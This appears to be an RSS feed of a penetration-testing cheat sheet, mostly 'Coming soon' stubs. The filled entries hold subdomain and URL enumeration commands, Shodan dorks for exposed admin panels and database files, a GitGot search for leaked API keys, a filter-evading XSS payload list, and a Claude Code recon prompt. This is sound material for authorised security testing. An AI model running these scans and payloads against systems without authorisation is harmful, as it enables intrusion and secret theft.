https://cheatsheet.jossp.dev/Recent content in Home on 🕸 Spider Man-ualHugoen-ushttps://cheatsheet.jossp.dev/manual/network-services/ftp/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/ftp/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/active-directory/kerberos/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/active-directory/kerberos/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/enumeration/web/subdomains/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/web/subdomains/<h2 id="crtsh">crt.sh<a class="anchor" href="#crtsh">#</a></h2> <pre tabindex="0"><code>https://crt.sh</code></pre><h2 id="security-trails">Security Trails<a class="anchor" href="#security-trails">#</a></h2> <pre tabindex="0"><code>https://securitytrails.com/</code></pre><h2 id="subfinder">Subfinder<a class="anchor" href="#subfinder">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>subfinder -d target.com | tee subdomains.txt</span></span></code></pre></div><p>Add as many API key as you can to take the best of the tool</p> <h2 id="amass">Amass<a class="anchor" href="#amass">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>amass enum -d target.com</span></span></code></pre></div><h2 id="claude-code">Claude Code<a class="anchor" href="#claude-code">#</a></h2> <p>Prompt:</p> <pre tabindex="0"><code>Run subfinder + crt.sh for target.com, probe with httpx, rank results by attack surface priority, flag takeover candidates</code></pre>https://cheatsheet.jossp.dev/manual/web-attacks/xss/xss/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/xss/xss/<h2 id="payload-list">Payload list<a class="anchor" href="#payload-list">#</a></h2> <pre tabindex="0"><code>&lt;scRIpT&gt;alert(1)&lt;/scRIpT&gt;</code></pre><pre tabindex="0"><code>&lt;ImG src=x onerror=alert()&gt;</code></pre><pre tabindex="0"><code>&lt;script&gt;alert(1)&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></pre><pre tabindex="0"><code>&lt;u/onmouseover=alert();//&gt;</code></pre><pre tabindex="0"><code>&lt;iframe/src=javascript:alert();//&gt;</code></pre><pre tabindex="0"><code>&lt;a/href=javascript:alert()&gt;clickherepls</code></pre><pre tabindex="0"><code>&lt;scr&lt;script&gt;ipt&gt;alert()&lt;/scr&lt;/script&gt;ipt&gt;</code></pre>https://cheatsheet.jossp.dev/manual/active-directory/bloodhound/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/active-directory/bloodhound/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/enumeration/network/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/network/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/enumeration/web/probing-urls-fuzzing/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/web/probing-urls-fuzzing/<h2 id="httpx">httpx<a class="anchor" href="#httpx">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>httpx -status-code -title -tech-detect -list subdomains.txt</span></span></code></pre></div><h2 id="getallurls-gau">getallurls (gau)<a class="anchor" href="#getallurls-gau">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gau target.com</span></span></code></pre></div><p>Including subdomains</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gau --subs target.com</span></span></code></pre></div><h2 id="ffuf">Ffuf<a class="anchor" href="#ffuf">#</a></h2> <p>Directory</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffuf -w wordlist.txt -u https://target.com/FUZZ</span></span></code></pre></div><p>Subdomain</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffuf -w wordlist.txt -u https://target.com/ -H <span style="color:#e6db74">&#34;Host: FUZZ.target.com&#34;</span> -fc &lt;status code to exclude&gt;</span></span></code></pre></div>https://cheatsheet.jossp.dev/manual/network-services/smb/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/smb/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/web-attacks/sqli/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/sqli/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/web-attacks/idor/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/idor/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/active-directory/ldap/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/active-directory/ldap/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/enumeration/web/tech-javascript/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/web/tech-javascript/<h2 id="wappalyzer">Wappalyzer<a class="anchor" href="#wappalyzer">#</a></h2> <p>Browser Extension</p> <h2 id="whatweb">Whatweb<a class="anchor" href="#whatweb">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whatweb -a <span style="color:#ae81ff">3</span> https://target.com</span></span></code></pre></div><h2 id="jxscout">JXScout<a class="anchor" href="#jxscout">#</a></h2> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>jxscout -u https://target.com</span></span></code></pre></div>https://cheatsheet.jossp.dev/manual/enumeration/web/dorking/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/web/dorking/<h2 id="shodan">Shodan<a class="anchor" href="#shodan">#</a></h2> <pre tabindex="0"><code>hostname:target.com</code></pre><p>Admin panel</p> <pre tabindex="0"><code>org:&#34;Target Inc&#34; http.title:&#34;admin&#34;</code></pre><p>Database files</p> <pre tabindex="0"><code>http.html:&#34;index of /&#34; http.html:&#34;database&#34;</code></pre><p>Config files</p> <pre tabindex="0"><code>http.html:&#34;index of /&#34; http.html:&#34;.xml&#34;</code></pre><h2 id="gitgot">GitGot<a class="anchor" href="#gitgot">#</a></h2> <p>Use GitHub advanced search to find <code>API_KEY</code> in the target org</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./gitgot.py -q <span style="color:#e6db74">&#34;org:target API_KEY&#34;</span></span></span></code></pre></div>https://cheatsheet.jossp.dev/manual/active-directory/ntlm-relay/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/active-directory/ntlm-relay/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/network-services/snmp/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/snmp/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/web-attacks/ssrf/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/ssrf/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/enumeration/web/all-in-one/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/enumeration/web/all-in-one/<h2 id="bbot">BBOT<a class="anchor" href="#bbot">#</a></h2> <p>Subdomain Enum</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bbot -t target.com -f subdomain-enum</span></span></code></pre></div><p>Subdomain with basic web scan</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bbot -t evilcorp.com -f subdomain-enum web-basic</span></span></code></pre></div><p>Everything BBOT can run</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bbot -t evilcorp.com -f subdomain-enum email-enum cloud-enum web-basic -m nmap gowitness nuclei --allow-deadly</span></span></code></pre></div>https://cheatsheet.jossp.dev/manual/network-services/nfs/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/nfs/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/active-directory/password-spraying/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/active-directory/password-spraying/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/web-attacks/ssti/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/ssti/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/web-attacks/file-upload/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/web-attacks/file-upload/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/network-services/winrm/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/winrm/<p><em>Coming soon</em></p>https://cheatsheet.jossp.dev/manual/network-services/dns/Mon, 01 Jan 0001 00:00:00 +0000https://cheatsheet.jossp.dev/manual/network-services/dns/<p><em>Coming soon</em></p>